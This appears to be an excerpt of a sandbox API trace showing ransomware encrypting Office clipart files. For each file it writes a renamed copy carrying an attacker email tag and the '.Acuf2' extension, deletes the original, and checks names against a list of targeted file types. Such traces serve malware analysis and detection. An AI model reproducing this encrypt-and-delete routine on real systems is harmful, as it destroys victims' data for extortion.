	[0261.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.309] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.309] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0261.309] GetLastError () returned 0x0
	[0261.309] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x244, lpOverlapped=0x0) returned 1
	[0261.310] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x250, lpOverlapped=0x0) returned 1
	[0261.311] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.311] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.311] SetEndOfFile (hFile=0x33c) returned 1
	[0261.311] CloseHandle (hObject=0x33c) returned 1
	[0261.311] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.311] SetEndOfFile (hFile=0x358) returned 1
	[0261.313] CloseHandle (hObject=0x358) returned 1
	[0261.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 1
	[0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.314] lstrlenW (lpString=".doc") returned 4
	[0261.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.314] lstrlenW (lpString=".docx") returned 5
	[0261.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.314] lstrlenW (lpString=".pdf") returned 4
	[0261.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.314] lstrlenW (lpString=".xls") returned 4
	[0261.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.314] lstrlenW (lpString=".xlsx") returned 5
	[0261.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.314] lstrlenW (lpString=".ppt") returned 4
	[0261.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.314] lstrlenW (lpString=".zip") returned 4
	[0261.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.314] lstrlenW (lpString=".rar") returned 4
	[0261.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.314] lstrlenW (lpString=".bz2") returned 4
	[0261.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.314] lstrlenW (lpString=".7z") returned 3
	[0261.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.314] lstrlenW (lpString=".dbf") returned 4
	[0261.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.314] lstrlenW (lpString=".1cd") returned 4
	[0261.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.315] lstrlenW (lpString=".jpg") returned 4
	[0261.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.315] lstrlenW (lpString=".doc") returned 4
	[0261.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.315] lstrlenW (lpString=".docx") returned 5
	[0261.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.315] lstrlenW (lpString=".pdf") returned 4
	[0261.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.315] lstrlenW (lpString=".xls") returned 4
	[0261.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.315] lstrlenW (lpString=".xlsx") returned 5
	[0261.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.315] lstrlenW (lpString=".ppt") returned 4
	[0261.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.315] lstrlenW (lpString=".zip") returned 4
	[0261.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.315] lstrlenW (lpString=".rar") returned 4
	[0261.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.315] lstrlenW (lpString=".bz2") returned 4
	[0261.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.315] lstrlenW (lpString=".7z") returned 3
	[0261.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.315] lstrlenW (lpString=".dbf") returned 4
	[0261.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.315] lstrlenW (lpString=".1cd") returned 4
	[0261.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63
	[0261.316] lstrlenW (lpString=".jpg") returned 4
	[0261.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.316] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.316] lstrlenW (lpString="DD01630_.WMF") returned 12
	[0261.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.316] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=296) returned 1
	[0261.316] CloseHandle (hObject=0x358) returned 1
	[0261.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20
	[0261.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.316] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.317] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0261.318] GetLastError () returned 0x0
	[0261.318] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x128, lpOverlapped=0x0) returned 1
	[0261.319] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x130, lpOverlapped=0x0) returned 1
	[0261.320] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.320] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.320] SetEndOfFile (hFile=0x33c) returned 1
	[0261.320] CloseHandle (hObject=0x33c) returned 1
	[0261.320] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.320] SetEndOfFile (hFile=0x358) returned 1
	[0261.322] CloseHandle (hObject=0x358) returned 1
	[0261.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 1
	[0261.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.323] lstrlenW (lpString=".doc") returned 4
	[0261.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.323] lstrlenW (lpString=".docx") returned 5
	[0261.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.323] lstrlenW (lpString=".pdf") returned 4
	[0261.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.323] lstrlenW (lpString=".xls") returned 4
	[0261.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.323] lstrlenW (lpString=".xlsx") returned 5
	[0261.323] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.323] lstrlenW (lpString=".ppt") returned 4
	[0261.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.323] lstrlenW (lpString=".zip") returned 4
	[0261.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.323] lstrlenW (lpString=".rar") returned 4
	[0261.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.323] lstrlenW (lpString=".bz2") returned 4
	[0261.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.323] lstrlenW (lpString=".7z") returned 3
	[0261.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.324] lstrlenW (lpString=".dbf") returned 4
	[0261.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.324] lstrlenW (lpString=".1cd") returned 4
	[0261.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.324] lstrlenW (lpString=".jpg") returned 4
	[0261.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.324] lstrlenW (lpString=".doc") returned 4
	[0261.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.324] lstrlenW (lpString=".docx") returned 5
	[0261.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.324] lstrlenW (lpString=".pdf") returned 4
	[0261.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.324] lstrlenW (lpString=".xls") returned 4
	[0261.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.324] lstrlenW (lpString=".xlsx") returned 5
	[0261.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.324] lstrlenW (lpString=".ppt") returned 4
	[0261.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.324] lstrlenW (lpString=".zip") returned 4
	[0261.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.324] lstrlenW (lpString=".rar") returned 4
	[0261.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.324] lstrlenW (lpString=".bz2") returned 4
	[0261.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.324] lstrlenW (lpString=".7z") returned 3
	[0261.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.325] lstrlenW (lpString=".dbf") returned 4
	[0261.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.325] lstrlenW (lpString=".1cd") returned 4
	[0261.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63
	[0261.325] lstrlenW (lpString=".jpg") returned 4
	[0261.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.325] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.325] lstrlenW (lpString="DD01631_.WMF") returned 12
	[0261.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.325] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=552) returned 1
	[0261.325] CloseHandle (hObject=0x358) returned 1
	[0261.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20
	[0261.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.326] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.326] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0261.326] GetLastError () returned 0x0
	[0261.326] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x228, lpOverlapped=0x0) returned 1
	[0261.327] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x230, lpOverlapped=0x0) returned 1
	[0261.328] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.328] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.328] SetEndOfFile (hFile=0x33c) returned 1
	[0261.328] CloseHandle (hObject=0x33c) returned 1
	[0261.328] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.328] SetEndOfFile (hFile=0x358) returned 1
	[0261.332] CloseHandle (hObject=0x358) returned 1
	[0261.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 1
	[0261.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.333] lstrlenW (lpString=".doc") returned 4
	[0261.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.333] lstrlenW (lpString=".docx") returned 5
	[0261.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.333] lstrlenW (lpString=".pdf") returned 4
	[0261.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.333] lstrlenW (lpString=".xls") returned 4
	[0261.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.333] lstrlenW (lpString=".xlsx") returned 5
	[0261.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.333] lstrlenW (lpString=".ppt") returned 4
	[0261.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.333] lstrlenW (lpString=".zip") returned 4
	[0261.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.333] lstrlenW (lpString=".rar") returned 4
	[0261.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.333] lstrlenW (lpString=".bz2") returned 4
	[0261.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.333] lstrlenW (lpString=".7z") returned 3
	[0261.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.333] lstrlenW (lpString=".dbf") returned 4
	[0261.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.334] lstrlenW (lpString=".1cd") returned 4
	[0261.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.334] lstrlenW (lpString=".jpg") returned 4
	[0261.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.334] lstrlenW (lpString=".doc") returned 4
	[0261.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.334] lstrlenW (lpString=".docx") returned 5
	[0261.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.334] lstrlenW (lpString=".pdf") returned 4
	[0261.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.334] lstrlenW (lpString=".xls") returned 4
	[0261.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.334] lstrlenW (lpString=".xlsx") returned 5
	[0261.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.334] lstrlenW (lpString=".ppt") returned 4
	[0261.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.334] lstrlenW (lpString=".zip") returned 4
	[0261.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.334] lstrlenW (lpString=".rar") returned 4
	[0261.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.334] lstrlenW (lpString=".bz2") returned 4
	[0261.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.334] lstrlenW (lpString=".7z") returned 3
	[0261.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.335] lstrlenW (lpString=".dbf") returned 4
	[0261.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.335] lstrlenW (lpString=".1cd") returned 4
	[0261.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63
	[0261.335] lstrlenW (lpString=".jpg") returned 4
	[0261.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.335] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.335] lstrlenW (lpString="DD01761_.WMF") returned 12
	[0261.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.335] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4148) returned 1
	[0261.335] CloseHandle (hObject=0x358) returned 1
	[0261.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20
